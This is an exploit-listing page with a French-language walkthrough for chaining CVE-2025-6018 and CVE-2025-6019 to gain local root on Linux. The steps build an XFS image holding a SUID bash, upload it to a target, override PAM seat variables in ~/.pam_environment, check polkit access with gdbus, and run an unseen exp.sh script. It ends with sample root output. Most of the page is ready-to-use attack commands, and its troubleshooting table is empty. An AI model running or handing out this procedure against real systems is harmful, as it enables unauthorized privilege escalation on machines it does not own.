Sploitus

Exploit for CVE-2025-6018 CVE-2025-6018 CVE-2025-6019

kitploit · 2026-08-26

Exploit Code

MARKDOWN126 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-E1ARTH-CVE-2025-6018
# Guide d'élévation de privilèges CVE-2025-6018 + CVE-2025-6019

Chinois

## 📋 Étapes d'exploitation rapides

### Étape 1 : Préparer l'image XFS (machine locale)

root@kitploit:~
    
    
    # Create 300MB XFS image
    dd if=/dev/zero of=xfs.image bs=1M count=300
    mkfs.xfs -f xfs.image
    
    # Mount and install SUID bash
    mkdir mnt
    sudo mount -t xfs xfs.image mnt
    sudo cp /bin/bash mnt/bash
    sudo chmod 4755 mnt/bash
    sudo umount mnt
    rmdir mnt
    
    # Verify (should show 300M)
    ls -lh xfs.image
    

* * *

### Étape 2 : Téléverser les fichiers vers la cible

root@kitploit:~
    
    
    # Upload exploit script and image
    scp exp.sh some-email@example.com:~/
    scp xfs.image some-email@example.com:~/
    

* * *

### Étape 3 : Première connexion - Configurer PAM

root@kitploit:~
    
    
    # SSH login to target
    ssh some-email@example.com
    
    # Write PAM environment variables
    cat > ~/.pam_environment << 'EOF'
    XDG_SEAT OVERRIDE=seat0
    XDG_VTNR OVERRIDE=1
    EOF
    
    # Verify configuration
    cat ~/.pam_environment
    
    # 🔥 Critical: Logout (to activate PAM config)
    exit
    

* * *

### Étape 4 : Deuxième connexion - Exécuter l'élévation de privilèges

root@kitploit:~
    
    
    # Re-login via SSH (PAM config now active)
    ssh some-email@example.com
    
    # Verify PAM is active (should return "('yes',)")
    gdbus call --system --dest org.freedesktop.login1 \
        --object-path /org/freedesktop/login1 \
        --method org.freedesktop.login1.Manager.CanReboot
    
    # Execute privilege escalation script
    bash exp.sh
    

* * *

## ✅ Indicateurs de succès

Si l'exploitation réussit, vous devriez voir :

root@kitploit:~
    
    
    ✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
    ✓ Root access confirmed!
    
    ════════════════════════════════════════════════════════════
    ║ ROOT FLAG                                               ║
    ║ <flag_here>                                             ║
    ════════════════════════════════════════════════════════════
    
    bash-5.2# whoami
    root
    

* * *

## 🔧 Dépannage

Problème| Solution  
---|---  
renvoie   
  
* * *

## 📌 Points clés

  * ✅ **Doit se déconnecter puis se reconnecter** : La configuration PAM ne prend effet que dans les nouvelles sessions
  * ✅ **Vérifier CanReboot** : Confirmer que cela renvoie `('yes',)` avant d'exécuter le script
  * ✅ **Utiliser la connexion SSH** : Ne pas utiliser l'exécution de style `ssh -t user@host "cmd"`



* * *

## 🐱 Chat gardien

**Si cela échoue, assurez-vous que chaque étape est exécutée strictement dans l'ordre !**